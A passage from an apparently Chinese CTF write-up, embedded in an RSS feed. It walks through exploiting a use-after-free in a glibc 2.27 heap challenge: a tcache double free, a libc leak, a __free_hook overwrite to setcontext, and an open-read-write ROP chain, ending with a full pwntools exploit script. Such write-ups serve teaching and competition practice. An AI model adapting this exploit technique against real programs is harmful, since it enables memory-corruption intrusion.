      else
      {
        puts(&quot;allocate failed&quot;);
      }
    }
  }
  return __readfsqword(0x28u) ^ v4;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;edit&lt;/h3&gt;
&lt;p&gt;同时edit也是同样的，有一个判断，v3得为0，也就是只能修改第一个chunk，并且允许我们往chunk里面读取内容&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;unsigned __int64 edit()
{
  _BYTE *v0; // rbx
  char *v1; // rbp
  __int64 v3; // [rsp+0h] [rbp-28h] BYREF
  unsigned __int64 v4; // [rsp+8h] [rbp-20h]

  v4 = __readfsqword(0x28u);
  __printf_chk(1LL, &quot;Index: &quot;);
  __isoc99_scanf((__int64)&amp;amp;unk_1144, (__int64)&amp;amp;v3);
  if ( !v3 )
  {
    if ( heap_list )
    {
      __printf_chk(1LL, &quot;Content: &quot;);
      v0 = heap_list;
      if ( size_list )
      {
        v1 = (char *)heap_list + size_list;
        while ( 1 )
        {
          read(0, v0, 1uLL);
          if ( *v0 == 10 )
            break;
          if ( ++v0 == v1 )
            return __readfsqword(0x28u) ^ v4;
        }
        *v0 = 0;
      }
    }
  }
  return __readfsqword(0x28u) ^ v4;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;show&lt;/h3&gt;
&lt;p&gt;很正常的打印&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;unsigned __int64 show()
{
  __int64 v1; // [rsp+0h] [rbp-18h] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-10h]

  v2 = __readfsqword(0x28u);
  __printf_chk(1LL, &quot;Index: &quot;);
  __isoc99_scanf((__int64)&amp;amp;unk_1144, (__int64)&amp;amp;v1);
  if ( !v1 &amp;amp;&amp;amp; heap_list )
    __printf_chk(1LL, &quot;Content: %s\n&quot;, (const char *)heap_list);
  return __readfsqword(0x28u) ^ v2;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;delete&lt;/h3&gt;
&lt;p&gt;存在很明显的UAF漏洞，&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;unsigned __int64 delete()
{
  __int64 v1; // [rsp+0h] [rbp-18h] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-10h]

  v2 = __readfsqword(0x28u);
  __printf_chk(1LL, &quot;Index: &quot;);
  __isoc99_scanf((__int64)&amp;amp;unk_1144, (__int64)&amp;amp;v1);
  if ( !v1 &amp;amp;&amp;amp; heap_list )
    free(heap_list);
  return __readfsqword(0x28u) ^ v2;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;分析&lt;/h2&gt;
&lt;p&gt;目前已知有UAF漏洞，并且题目是Glibc2.27的，所以存在tcache bin，并且需要打ORW，其实在这之前我并没有打过堆上的ORW,现在进行尝试，首先我们肯定需要泄漏libc地址，而一般利用unshorbin的chunk，因为ub的fd和bk都是指向main_anera+一个偏移的地址，但是现在只能申请小于等于0x78大小的chunk，那么现在的问题就是怎么申请到非fasrbin的chunk,而我们是处于Glibc2.27的环境下，而tcache bin会申请一个很大的chunk，用于管理tcache bin里面的chunk,这个大的chunk在Glibc2.27大小是0x251，而由于开启了沙盒，导致会有很多杂乱的chunk，如图&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.jsdelivr.net/gh/SceAce/picx-images-hosting@master/blog/ORW%20of%20Heap/img/start_bins.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;那么现在如果我们能够把这个chunk  free掉，不就可以使得它进ub，从而得到libc_addr嘛？，因此我们现在需要得到得到chunk的地址，那么怎么得到呢？在Glibc2.27针对tcache bin引入了key这个用于检测double free的机制，当一个chunk被free掉，进入tcache bin的时候，会把这个地址写入到chunk_addr+8的位置，因此，利用这个机制，我们可以泄漏得到heap_addr,&lt;/p&gt;
&lt;h3&gt;leak_heap_addr&lt;/h3&gt;
&lt;p&gt;那么好，现在先来处理泄漏heap_addr的问题，那么现在的问题是：这个key会检测double free,如果不能double free，那么我们目前无法将free掉的这个tcache chunk的fd修改为处于头部的0x251的chunk,那么就无法通过ub泄漏地址，所以我们需要把这个key覆盖掉，随便覆盖成什么，因为地址后面第二次free的时候会重新覆盖上，那么好，来看变化：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def exp():
    for i in range(7):
        add(0x78)
        edit(b&apos;source&apos;)
    edit(b&apos;a&apos;*0x10)
    delete()
    edit(b&apos;a&apos;*0x10)
    bug()   
exp()
itr()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.jsdelivr.net/gh/SceAce/picx-images-hosting@master/blog/ORW%20of%20Heap/img/leak_heap_first.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这里是存在问题的，这里直接show是得不到这个地址的，因为前面是0，会被 __printf_chk截断掉，所以必须double free&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.jsdelivr.net/gh/SceAce/picx-images-hosting@master/blog/ORW%20of%20Heap/img/leak_heap_second.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;好了，现在我们就可以double free,并且泄漏地址了，&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.jsdelivr.net/gh/SceAce/picx-images-hosting@master/blog/ORW%20of%20Heap/img/leak_heap_thire.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;拿到地址，为了简约，将代码修改成这样，并且将泄漏的地址低三位取0，这样得到堆的基地址&lt;/p&gt;
&lt;pre&gt;&lt;code&gt; 
# ========== Exploit 开始 ==========
def exp():
    for i in range(7):
        add(0x78)
        edit(b&apos;source&apos;)
    for i in range(2):
        edit(b&apos;a&apos;*0x10)
        delete()
    show()
    ru(&quot;Content: &quot;)
    heap_addr = uu64(ru(b&apos;\x0a&apos;,drop=True))&amp;amp;0xffffffffff000 
    leak(&quot;heap_addr&quot;,heap_addr)
    bug()   
exp()
itr()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.jsdelivr.net/gh/SceAce/picx-images-hosting@master/blog/ORW%20of%20Heap/img/leak_heap_addr.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;修改fd为tcache的大chunk&lt;/h3&gt;
&lt;p&gt;因为已经double free，并且存在uaf我可以去修改chunk的fd为tcache,进而让我们能够拿到libc的地址，&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;    edit(p64(heap_addr+0x10))
    add(0x78)
    add(0x78)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.jsdelivr.net/gh/SceAce/picx-images-hosting@master/blog/ORW%20of%20Heap/img/change_to_tb_f.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.jsdelivr.net/gh/SceAce/picx-images-hosting@master/blog/ORW%20of%20Heap/img/change_to_tb_d.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;修改这个chunk，并且free，泄漏libc&lt;/h3&gt;
&lt;p&gt;现在这里需要将tcache bin的机制来复习 &lt;s&gt;学习&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;tcache bin其实是依靠最开始申请的这个大的chunk来控制的，前面一部分是count部分，就是用来管理chunk的数量的，也就是tcache_perthread_struct里面的counts部分，其实tcache_puts和tcache_gets就是依照这个counts来确定tcachebin里面是否存在chunk的，如果说我们把这个覆盖成7，那么再次释放对应大小的chunk就不会进入tcachebin，直接进入unshortbin或者fastbin，其中每个counts所占字节大小其实不是固定的，会随着版本的变化而变化，最好的解决办法是看源码，或者，直接调试，那么接下来是调试的办法，&lt;em&gt;这里是另一个题目的，不是这道题的，只是举一个例子&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.jsdelivr.net/gh/SceAce/picx-images-hosting@master/blog/ORW%20of%20Heap/img/counts_size_test1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.jsdelivr.net/gh/SceAce/picx-images-hosting@master/blog/ORW%20of%20Heap/img/counts_size_test2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;所以这里counts的大小就是两个字节&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.jsdelivr.net/gh/SceAce/picx-images-hosting@master/blog/ORW%20of%20Heap/img/counts_size_test3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.jsdelivr.net/gh/SceAce/picx-images-hosting@master/blog/ORW%20of%20Heap/img/counts_size_test4.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.jsdelivr.net/gh/SceAce/picx-images-hosting@master/blog/ORW%20of%20Heap/img/counts_size_test5.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这样就是对应的距离了，&lt;/p&gt;
&lt;p&gt;好了，既然了解了这部分counts的知识，现在我们是在这个0x251的chunk上，那么现在找到0x250的位置，并且将对应的部分覆盖为7，并且free掉这个chunk使其进入ub，从而泄漏地址&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.jsdelivr.net/gh/SceAce/picx-images-hosting@master/blog/ORW%20of%20Heap/img/leak_libc1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.jsdelivr.net/gh/SceAce/picx-images-hosting@master/blog/ORW%20of%20Heap/img/leak_libc2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;    edit(b&apos;\x00&apos;*0x23+b&apos;\x07&apos;)
    delete()
    show()
    libc_base = l64()-0x3ebca0
    leak(&quot;libc_base&quot;,libc_base)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里的libc_base可以直接硬编码计算，也可以使用其他方法，比如减去libc.sym.main_anera&lt;/p&gt;
&lt;h3&gt;接下来就要考虑ORW了&lt;/h3&gt;
&lt;p&gt;因为开启了沙箱，很明显，只想让我们打ORW,&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;❯ seccomp-tools dump ./pwn
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x07 0xc000003e  if (A != ARCH_X86_64) goto 0009
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A &amp;lt; 0x40000000) goto 0005
 0004: 0x15 0x00 0x04 0xffffffff  if (A != 0xffffffff) goto 0009
 0005: 0x15 0x02 0x00 0x00000000  if (A == read) goto 0008
 0006: 0x15 0x01 0x00 0x00000001  if (A == write) goto 0008
 0007: 0x15 0x00 0x01 0x00000002  if (A != open) goto 0009
 0008: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0009: 0x06 0x00 0x00 0x00000000  return KILL
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;首先让我们回想一下在栈上打ORW的时候是什么样子的，要么构造ROP，要么写shellcode,而在堆上是没有办法直接在堆内存上执行代码的，现在就要引申一个概念，就是栈迁移是为了什么，栈迁移是不是实际上就是通过rbp去控制rsp，这样就把rsp迁移到任意位置，这样的话栈也就被迁移到其他地方了,接下来只要这个地方存在ROP，就可以直接执行，因为ROP的gadget在text段上，可以直接执行，那么这是在栈上，一般也会迁移到.bss段上，但是在堆上呢？应该怎么做？&lt;/p&gt;
&lt;p&gt;而在Glibc中有这么一个函数，setcontext，而这个函数又以2.27,2.29为分界，在这里不详细说明，下面是这个函数在2.27的样子，&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.jsdelivr.net/gh/SceAce/picx-images-hosting@master/blog/ORW%20of%20Heap/img/setcontext.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;主要注意这部分，可以看到是使用rdi来控制所有通用寄存器的值，但是这里不重要，重要的是，这里会通过rdi+0xa0的地址给rsp,sp是栈顶指针，也就是rsp往下，都会被认为是栈，这样的话不就可以控制rsp去执行ROP-----ORW了嘛，那么我们现在需要考虑怎么布置这个伪造的栈帧了，其实如果想执行到这里，那么我们也许需要借助hook函数，&lt;/p&gt;
&lt;p&gt;首先这里是通过rdi来控制的，所以rdi一定得是堆上的某个地址，因为我们需要在堆上执行ORW,&lt;/p&gt;
&lt;p&gt;那么我们应该怎么布置这些呢？,如下，&lt;/p&gt;
&lt;pre&gt;&lt;code&gt; 	pay = b&apos;\x02&apos;*0x40+p64(libc_base+libc.sym.__free_hook)+p64(0)
    pay += p64(heap_addr+0x1000)    # flag_addr heap:0x40
    pay += p64(heap_addr+0x2000)    # fake_chunk heap:0x50
    pay += p64(heap_addr+0x20a0)    # stack 2 heap:0x60
    pay += p64(heap_addr+0x3000)    # orw1 heap:0x70
    pay += p64(heap_addr+0x3060)    # orw2 heap:0x80 continue orw1
 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;现在的我们还处于tcache bin 的这个巨大的结构体堆里面，这个时候我们还是可以通过这个结构体来布置chunk的，首先把前面的counts填一下，随便填一点，然后就是free_hook,从这里开始是tcache bin里面每一个chunk队列的头的地址对应的chunk的地址，也就是tcache_entry-&amp;gt;*next，&lt;s&gt;我在说什么呢？&lt;/s&gt;,其实就是chunk队列的头，链接的chunk，就比如：0x20：chunk1--&amp;gt;chunk2，这里我所讲的就是chunk1&lt;/p&gt;
&lt;p&gt;那么按照这样布置，就会使得对应size的chunk地址为我们所布置的，&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;0x20--&amp;gt;free_hook；0x30用不上，所以随意覆盖；
0x40--&amp;gt;heap_addr+0x1000；0x50--&amp;gt;heap_addr+0x2000；
0x60--&amp;gt;heap_addr+0x20a0；0x70 --&amp;gt;heap_addr+0x3000 ; 
0x80 --&amp;gt;heap_addr+0x3060
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;那么现在，只要申请对应size大小就可以控制对应的内存了，至于这里的chunk的地址为什么是这样的，我一个一个的解释，&lt;/p&gt;
&lt;p&gt;还记得上面说过的，需要把rsp控制到堆上吗？而在Glibc2.27里面setcontext是使用rdi去控制的，（注；2.29貌似是rdx控制的），所以我们需要控制rdi,而free_hook在释放chunk的时候，rdi里面的值，刚好会是你free的那个堆块的地址，那么这样不就可以把rdi控制为我们指定的chunk的地址吗？接下来0x40~0x80这几个chunk的作用，也许你们就知道是什么了，其中0x70和0x80是为了布置ORW读取flag的fake_stack，因为ROP链太长了，导致一个chunk的空间不够，所以需要两个相邻的chunk来拼接，然后0x40的chunk是为了读&quot;flag&quot;这个字符串，并且可以把flag的内容读在上面，&lt;/p&gt;
&lt;p&gt;注意接下来的操作：首先把tcache bin里面的0x20的chunk申请出来，并且修改为setcontext+53的位置，(因为setcontext+53的位置是mov rsp,[rsi+0xa0])，这样下次执行free的时候就会直接跳到setcontext+53的位置，从而将rsp移动到对应的位置，那么这里是第一步，接下来我们需要干啥呢？第二步，我们需要构造一下，我们需要把0x60这个chunk的内容上放上heap+0x3000也就是ORW的地址，那么现在，我们如果把0x50那个chunk释放掉，就会使得rdi == chunk_size_0x50 &lt;s&gt;表意写法，不要在意&lt;/s&gt;，并且同时触发setcontext,将rdi+0xa0地方的内容给rsp，这里rdi+0xa0的地方其实就是heap_base+0x2000+a0 ====&amp;gt; heap_base+0x20a0，那么这个地方的值是什么呢？那不就是我们前面的heap_base+0x3000吗？那么不就把rsp放当orw上来了吗？这样就可以在执行完setcontext之后执行ORW了，但是需要注意的是在修改0x60这个chunk的内容为heap_base+0x3000的时候，后面还需要加一个ret，因为setcontext里面有一个push,为了平衡，需要ret弄回来，&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.jsdelivr.net/gh/SceAce/picx-images-hosting@master/blog/ORW%20of%20Heap/img/setcontext1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;并且在构造ORW的时候，需要注意open要使用syscall的方式构造不可以直接调用，要用syscall，这是因为在2.27里，open函数开始的位置会影响栈布局，具体如下:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.jsdelivr.net/gh/SceAce/picx-images-hosting@master/blog/ORW%20of%20Heap/img/open.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;而read和write就不会&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.jsdelivr.net/gh/SceAce/picx-images-hosting@master/blog/ORW%20of%20Heap/img/read_and_wrote.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;完整EXP&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3
from pwn import *
from LibcSearcher import *

# 配置
context(os=&apos;linux&apos;, arch=&apos;amd64&apos;, log_level=&apos;debug&apos;)
binary = &quot;./pwn&quot;

# 远程/本地切换
if args.get(&quot;REMOTE&quot;):
    io = remote(&quot;node4.anna.nssctf.cn&quot;,28172)
else:
    io = process(binary)

# ELF加载
elf = ELF(binary)
libc = ELF(&quot;./libc-2.27.so&quot;)

# ========== 常用函数定义 ==========
s       = lambda data               : io.send(data)
sa      = lambda delim, data        : io.sendafter(str(delim), data)
sl      = lambda data               : io.sendline(data)
sla     = lambda delim, data        : io.sendlineafter(str(delim), data)
r       = lambda num=4096           : io.recv(num)
rl      = lambda                    : io.recvline()
ru      = lambda delims, drop=False : io.recvuntil(delims, drop)
itr     = lambda                    : io.interactive()
uu32    = lambda data               : u32(data.ljust(4, b&apos;\x00&apos;))
uu64    = lambda data               : u64(data.ljust(8, b&apos;\x00&apos;))
leak    = lambda name, addr         : log.success(&apos;{} ======== &amp;gt; {:#x}&apos;.format(name, addr))
p       = lambda name,data          : print(&quot;{} ======== &amp;gt; {}&quot;.format(name,data))

# ========== 常用泄露函数 ==========
l64     = lambda                    : u64(io.recvuntil(b&quot;\x7f&quot;)[-6:].ljust(8, b&quot;\x00&quot;))
l32     = lambda                    : u32(io.recvuntil(b&quot;\xf7&quot;)[-4:].ljust(4, b&quot;\x00&quot;))
l64_no  = lambda                    : u64(io.recv(6).ljust(8, b&apos;\x00&apos;))
def bug():
  gdb.attach(io)
  pause()
# [+] ========= Some funtion ========= [+]
def add(size):
    sla(&quot;Your choice:&quot;,str(1))
    sla(&quot;Index:&quot;,str(0))
    sla(&quot;Size:&quot;,str(size))

def edit(content):
    sla(&quot;Your choice:&quot;,str(2))
    sla(&quot;Index:&quot;,str(0))
    sla(&quot;Content:&quot;,content)

def delete():
    sla(&quot;Your choice:&quot;,str(4))
    sla(&quot;Index:&quot;,str(0))

def show():
    sla(&quot;Your choice:&quot;,str(3))
    sla(&quot;Index:&quot;,str(0))
    
# ========== Exploit 开始 ==========
def exp():
    for i in range(7):
        add(0x78)
        edit(b&apos;source&apos;)
    for i in range(2):
        edit(b&apos;a&apos;*0x10)
        delete()
    show()
    ru(&quot;Content: &quot;)
    heap_addr = uu64(ru(b&apos;\x0a&apos;,drop=True))&amp;amp;0xffffffffff000
    leak(&quot;heap_addr&quot;,heap_addr)
    edit(p64(heap_addr+0x10)) 
    add(0x78)
    add(0x78)
    
    edit(b&apos;\x00&apos;*0x23+b&apos;\x07&apos;)
    delete()
    show()

    libc_base = l64()-0x3ebca0
    leak(&quot;libc_base&quot;,libc_base)
    bug()   
    # [+] ========= change stuck from tcache ========= [+]
    pay = b&apos;\x02&apos;*0x40+p64(libc_base+libc.sym.__free_hook)+p64(0)
    pay += p64(heap_addr+0x1000)    # flag_addr heap:0x40
    pay += p64(heap_addr+0x2000)    # fake_chunk heap:0x50
    pay += p64(heap_addr+0x20a0)    # stack 2 heap:0x60
    pay += p64(heap_addr+0x3000)    # orw1 heap:0x70
    pay += p64(heap_addr+0x3060)    # orw2 heap:0x80 continue orw1
    edit(pay)

    # [+] ====== Some addr ======= [+]
    rax = libc_base+0x000000000001b500
    rdi = libc_base+0x000000000002164f
    rsi = libc_base+0x0000000000023a6a
    rdx = libc_base+0x0000000000001b96
    ret = libc_base+0x00000000000008aa
    syscall = libc_base+libc.sym.read+15
    leave_ret = libc_base+0x00000000000547e3

    setcontext = libc_base+libc.sym.setcontext+53
    read = libc_base+libc.sym.read
    write = libc_base+libc.sym.write
    flag = heap_addr+0x1000
    get_flag = heap_addr+0x3000

    # [+] ====== O R W ========== [+]
    o = p64(rdi)+p64(flag)
    o += p64(rsi)+p64(0)
    o += p64(rax)+p64(2)
    o += p64(syscall)

    r = p64(rdi)+p64(3)
    r += p64(rsi)+p64(get_flag)
    r += p64(rdx)+p64(0x100)
    r += p64(read)

    w = p64(rdi)+p64(1)
    w += p64(write)
    
    orw = o+r+w

    leak(&quot;setcontext&quot;,setcontext)
    add(0x18)
    edit(p64(setcontext))

    add(0x38)
    edit(b&apos;/flag&apos;)

    add(0x68)
    edit(orw[:0x60])    # orw1
    add(0x78) 
    edit(orw[0x60:])    # orw2

    add(0x58)
    edit(p64(heap_addr+0x3000)+p64(ret))
    add(0x48)
    #gdb.attach(io)
    delete()
    #pause()
    #bug()
exp()
itr()
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item></channel></rss>